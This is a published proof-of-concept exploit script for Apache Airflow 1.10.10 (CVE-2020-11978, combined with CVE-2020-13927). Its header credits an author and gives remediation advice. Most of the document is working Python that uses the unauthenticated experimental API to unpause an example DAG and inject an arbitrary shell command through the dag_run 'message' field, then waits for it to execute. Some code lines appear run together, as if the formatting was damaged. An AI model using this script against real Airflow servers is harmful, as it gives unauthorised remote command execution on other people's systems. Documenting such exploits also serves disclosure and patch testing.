# Exploit Title: Apache Airflow 1.10.10 - 'Example Dag' Remote Code Execution # Date: 2021-06-02# Exploit Author: Pepe Berba# Vendor Homepage: https://airflow.apache.org/# Software Link: https://airflow.apache.org/docs/apache-airflow/stable/installation.html# Version: <= 1.10.10# Tested on: Docker apache/airflow:1.10 .10 (https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml)# CVE : CVE-2020-11978# # This is a proof of concept for CVE-2020-11978, a RCE vulnerability in one of the example DAGs shipped with airflow# This combines with CVE-2020-13927 where unauthenticated requests to Airflow's Experimental API were allowded by default.# Together, potentially allows unauthenticated RCE to Airflow # # Repo: https://github.com/pberba/CVE-2020-11978# More information can be found here: # https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E# https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E## Remediation:# For CVE-2020-13927 make sure that the config `[api]auth_backend = airflow.api.auth.backend.deny_all` or has auth set.# For CVE-2020-11978 use 1.10.11 or set `load_examples=False` when initializing Airflow. You can also manually delete example_trigger_target_dag DAG.## Example usage: python CVE-2020-11978.py http://127.0.0.1:8080 "touch test"import argparse
import requests
import sys
import time
defcreate_dag(url, cmd):print('[+] Checking if Airflow Experimental REST API is accessible...')
check = requests.get('{}/api/experimental/test'.format(url))if check.status_code ==200:print('[+] /api/experimental/test returned 200')else:print('[!] /api/experimental/test returned {}'.format(check.status_code))print('[!] Airflow Experimental REST API not be accessible')
sys.exit(1)
check_task = requests.get('{}/api/experimental/dags/example_trigger_target_dag/tasks/bash_task'.format(url))if check_task.status_code !=200:print('[!] Failed to find the example_trigger_target_dag.bash_task')print('[!] Host isn\'t vunerable to CVE-2020-11978')
sys.exit(1)elif'dag_run'in check_task.json()['env']:print('[!] example_trigger_target_dag.bash_task is patched')print('[!] Host isn\'t vunerable to CVE-2020-11978')
sys.exit(1)print('[+] example_trigger_target_dag.bash_task is vulnerable')
unpause = requests.get('{}/api/experimental/dags/example_trigger_target_dag/paused/false'.format(url))if unpause.status_code !=200:print('[!] Unable to enable example_trigger_target_dag. Example dags were not loaded')
sys.exit(1)else:print('[+] example_trigger_target_dag was enabled')print('[+] Creating new DAG...')
res = requests.post('{}/api/experimental/dags/example_trigger_target_dag/dag_runs'.format(url),
json={'conf':{'message':'"; {} #'.format(cmd)}})if res.status_code ==200:print('[+] Successfully created DAG')print('[+] "{}"'.format(res.json()['message']))else:print('[!] Failed to create DAG')
sys.exit(1)
wait_url ='{url}/api/experimental/dags/example_trigger_target_dag/dag_runs/{execution_date}/tasks/bash_task'.format(
url = url,
execution_date=res.json()['execution_date'])
start_time = time.time()print('[.] Waiting for the scheduler to run the DAG... This might take a minute.')print('[.] If the bash task is never queued, then the scheduler might not be running.')whileTrue:
time.sleep(10)
res = requests.get(wait_url)
status = res.json()['state']if status =='queued':print('[.] Bash task queued...')elif status =='running':print('[+] Bash task running...')elif status =='success':print('[+] Bash task successfully ran')breakelif status =='None':print('[-] Bash task is not yet queued...'.format(status))else:print('[!] Bash task was {}'.format(status))
sys.exit(1)return0defmain():
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('url',type=str,help="Base URL for Airflow")
arg_parser.add_argument('command',type=str)
args = arg_parser.parse_args()
create_dag(
args.url,
args.command
)if __name__ =='__main__':
main()